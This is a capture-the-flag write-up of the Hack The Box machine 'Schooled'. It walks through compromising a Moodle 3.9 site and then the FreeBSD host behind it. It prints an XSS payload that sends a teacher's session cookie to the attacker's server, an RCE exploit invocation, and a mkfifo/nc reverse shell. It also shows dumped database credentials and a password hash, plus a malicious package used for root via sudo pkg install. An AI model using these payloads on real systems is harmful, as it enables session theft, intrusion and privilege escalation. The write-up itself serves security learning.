Cool box, not too CTF-like and real-life applicable, my first FreeBSD 😄 But root part was too quick.
TL;DR#
XSS to steal Moodle creds of teacher, privesc as manager and then RCE. Get MySQL in config file, dump users and get password hash. Break the hash with john to ssh as user. Common pkg install exploit for root.
Footholds#
# Nmap 7.91 scan initiated Mon Aug 2 22:40:05 2021 as: nmap -A -p- -T4 -o nmap.out schooled.htb
Nmap scan report for schooled.htb (10.10.10.234)
Host is up (0.082s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
...
The website we have seems to be static, no JavaScript to exploit, not so much to do 🤔
After a while I read that they are talking about a Moodle on this site. So I decided to find it, moodle.schooled.htb!
Entrypoint#
XSS you say?#
Found the version by visiting some forbidden page for my user: Moodle 3.9.
We got those email domains: student.schooled.htb & staff.schooled.htb.
Looking for exploits for this version, I found an XSS payload for MoodleNet in user profile. By chance, a teacher (maths class) is looking for enroled students’ MoodleNet profiles.
MoodleNet: <script>new Image().src="http://your-ip:port/" + document.cookie</script>
python3 -m http.server port
See here for more details about the XSS.
By starting an HTTP server on our machine, we get the teacher’s session cookie.
Get manager access#
After some research on this Moodle version, I found a good exploit to use: https://github.com/lanzt/CVE-2020-14321.
No need to fix this exploit, even if this is not the original exploit script for this CVE, I used it because it was the first to show in the search engine.
1python3 cve.py http://moodle.schooled.htb/moodle -c "whoami" --cookie TEACHER_COOKIE
2[...]
3www
As this box was FreeBSD, nc does not work the same, we need a bigger payload for a reverse shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f
So my command to get a reverse shell:
1python3 cve.py http://moodle.schooled.htb/moodle -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f" --cookie TEACHER_COOKIE
On another terminal:
1nc -nlvp PORT
2$ whoami
3www
4$
We have now a reverse shell! Let’s get user.
User#
List user directories:
$ ls /home
/home/steve
/home/jamie
By looking in the moodle’s directory we get this config file:
1<?php // Moodle configuration file
2
3unset($CFG);
4global $CFG;
5$CFG = new stdClass();
6
7$CFG->dbtype = 'mysqli';
8$CFG->dblibrary = 'native';
9$CFG->dbhost = 'localhost';
10$CFG->dbname = 'moodle';
11$CFG->dbuser = 'moodle';
12$CFG->dbpass = 'PlaybookMaster2020';
13$CFG->prefix = 'mdl_';
14$CFG->dboptions = array (
15 'dbpersist' => 0,
16 'dbport' => 3306,
17 'dbsocket' => '',
18 'dbcollation' => 'utf8_unicode_ci',
19);
20
21$CFG->wwwroot = 'http://moodle.schooled.htb/moodle';
22$CFG->dataroot = '/usr/local/www/apache24/moodledata';
23$CFG->admin = 'admin';
24
25$CFG->directorypermissions = 0777;
26
27require_once(__DIR__ . '/lib/setup.php');
28
29// There is no php closing tag in this file,
30// it is intentional because it prevents trailing whitespace problems!
We have now MySQL creds, let’s use them:
1/usr/local/bin/mysql -umoodle -p
2Password:
Weird… We should get a shell here.
In fact the exploit we use is not meant to nest child shells. For example we can’t just bash to get a bash shell, we must stay in our shell.
Fortunaletly we can execute commands using MySQL’s binary:
1/usr/local/bin/mysql -umoodle -pPlaybookMaster2020 -D moodle -e "show tables;"
We dump the users:
1select * from mdl_user;
The interesting line here is:
admin $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW Jamie Borham jamie@staff.schooled.htb
We need to crack this hash. Let’s use john:
We can SSH with this.
Root#
Classic:
sudo -l
(NOPASSWD) /usr/sbin/pkg update
(NOPASSWD) /usr/sbin/pkg install *
Using this https://gtfobins.github.io/gtfobins/pkg/ we build our package to RCE as root:
1# local
2echo 'cat /root/root.txt' > a.sh
3fpm -n x -s dir -t freebsd -a all --before-install a.sh .
4scp x-1.0.txz jamie@schooled.htb:/tmp
1# ssh
2sudo /usr/sbin/pkg install -y --no-repo-update /tmp/x-1.0.txz
3...
4/root/root.txt hash here
